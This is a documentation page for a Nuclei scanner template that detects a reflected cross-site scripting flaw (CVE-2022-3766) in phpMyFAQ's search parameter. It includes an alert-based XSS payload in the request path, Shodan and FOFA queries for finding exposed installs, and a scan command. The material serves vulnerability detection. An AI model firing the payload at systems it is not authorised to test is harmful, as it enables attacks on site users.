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phpMyFAQ < 3.1.8 - Cross-Site Scripting

ID: CVE-2022-3766

Severity: medium

Author: ritikchaddha

Tags: cve,cve2022,phpmyfaq,xss

Description

Section titled “Description”

phpMyFAQ versions prior to 3.1.8 contain a reflected cross-site scripting vulnerability in the search functionality. The application fails to properly sanitize user input in the search parameter, allowing attackers to inject and execute malicious JavaScript code in the context of other users’ browsers.

YAML Source

Section titled “YAML Source”
id: CVE-2022-3766


info:
  name: phpMyFAQ < 3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    phpMyFAQ versions prior to 3.1.8 contain a reflected cross-site scripting vulnerability in the search functionality. The application fails to properly sanitize user input in the search parameter, allowing attackers to inject and execute malicious JavaScript code in the context of other users' browsers.
  impact: |
    An attacker can Execute arbitrary JavaScript in victim's browser context
  remediation: |
    Upgrade phpMyFAQ to version 3.1.8 or later
  reference:
    - https://huntr.dev/bounties/d9666520-4ff5-43bb-aacf-50c8e5570983
    - https://github.com/thorsten/phpMyFAQ/commit/c7904f2236c6c0dd64c2226b90c30af0f7e5a72d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3766
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3766
    cwe-id: CWE-79
    epss-score: 0.00066
    epss-percentile: 0.27855
    cpe: cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: phpmyfaq
    product: phpmyfaq
    shodan-query: http.html:"phpmyfaq"
    fofa-query: body="phpmyfaq"
  tags: cve,cve2022,phpmyfaq,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?search=1af%22+onclick%3D'alert(document.domain)'"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "value=\"1af\" onclick='alert(document.domain)'"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a788723eef48412154a8961df8fd1ba360ed03b541cb528c35458060a0f8b505022055bbce31eefa08cd735be86fc58ca45b826307d2e90d95ba04ddde499cefd7b4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-3766.yaml"

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